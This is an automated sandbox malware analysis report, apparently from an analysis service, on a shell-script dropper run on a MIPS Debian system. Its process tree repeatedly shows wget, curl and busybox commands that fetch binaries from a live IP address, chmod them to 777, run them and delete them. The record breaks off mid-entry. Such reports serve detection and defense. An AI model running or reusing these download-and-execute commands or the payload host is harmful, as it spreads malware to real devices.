3937983711c8aefaa2d8790ff1f508118e90b85277b8ac2af8b0a6d45bc6fb2f

Analysis

max time kernel
62s
max time network
63s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
06/11/2024, 01:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af.sh
Size 10KB
Sample241106-bg8bbssckf
SHA256 67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af
MD5 3ddeda65fdff7dc7e3cc275ff6f553d3
SHA1 63ea40bbcbb7ae0a7d338ea6283460d48c3f6368
SHA512 b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e
SSDEEP 96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
904	chmod
916	chmod
940	chmod
738	chmod
880	chmod
886	chmod
898	chmod
730	chmod
874	chmod
958	chmod
763	chmod
799	chmod
868	chmod
928	chmod
724	chmod
862	chmod
934	chmod
792	chmod
840	chmod
892	chmod
910	chmod
922	chmod
952	chmod
847	chmod
946	chmod
816	chmod
853	chmod
964	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP	curl
File opened for modification	/tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs	curl
File opened for modification	/tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H	curl
File opened for modification	/tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8	curl
File opened for modification	/tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF	curl
File opened for modification	/tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN	curl
File opened for modification	/tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ	curl
File opened for modification	/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ	curl
File opened for modification	/tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ	curl
File opened for modification	/tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ	curl
File opened for modification	/tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5	curl
File opened for modification	/tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H	curl
File opened for modification	/tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK	curl
File opened for modification	/tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC	curl
File opened for modification	/tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN	curl
File opened for modification	/tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs	curl
File opened for modification	/tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK	curl
File opened for modification	/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO	curl
File opened for modification	/tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8	curl
File opened for modification	/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ	curl
File opened for modification	/tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC	curl
File opened for modification	/tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP	curl
File opened for modification	/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO	curl
File opened for modification	/tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5	curl
File opened for modification	/tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB	curl
File opened for modification	/tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF	curl
File opened for modification	/tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB	curl
File opened for modification	/tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ	curl

/tmp/67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af.sh
/tmp/67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af.sh
1⤵
PID:692
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:698
- /usr/bin/wget
  wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:721
- /bin/chmod
  chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:726
- /usr/bin/wget
  wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:729
- /bin/chmod
  chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:732
- /usr/bin/wget
  wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:735
- /bin/chmod
  chmod 777 OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  ./OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:758
- /bin/chmod
  chmod 777 oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  ./oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:768
- /usr/bin/wget
  wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:787
- /bin/chmod
  chmod 777 bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  ./bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:798
- /bin/chmod
  chmod 777 bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  ./bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:801
- /usr/bin/wget
  wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:811
- /bin/chmod
  chmod 777 q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  ./q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:819
- /usr/bin/wget
  wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:836
- /bin/chmod
  chmod 777 qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  ./qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:843
- /usr/bin/wget
  wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:846
- /bin/chmod
  chmod 777 DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  ./DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:849
- /usr/bin/wget
  wget http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:852
- /bin/chmod
  chmod 777 lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  ./lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:855
- /usr/bin/wget
  wget http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:861
- /bin/chmod
  chmod 777 Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  ./Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:867
- /bin/chmod
  chmod 777 CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  ./CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:873
- /bin/chmod
  chmod 777 II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  ./II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:876
- /usr/bin/wget
  wget http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:879
- /bin/chmod
  chmod 777 ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  ./ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:882
- /usr/bin/wget
  wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:885
- /bin/chmod
  chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:891
- /bin/chmod
  chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:897
- /bin/chmod
  chmod 777 OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  ./OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:903
- /bin/chmod
  chmod 777 q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  ./q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:909
- /bin/chmod
  chmod 777 oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  ./oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:915
- /bin/chmod
  chmod 777 bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  ./bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:921
- /bin/chmod
  chmod 777 bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  ./bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:927
- /bin/chmod
  chmod 777 qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  ./qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:933
- /bin/chmod
  chmod 777 DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  ./DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:939
- /bin/chmod
  chmod 777 lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  ./lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:942
- /usr/bin/wget
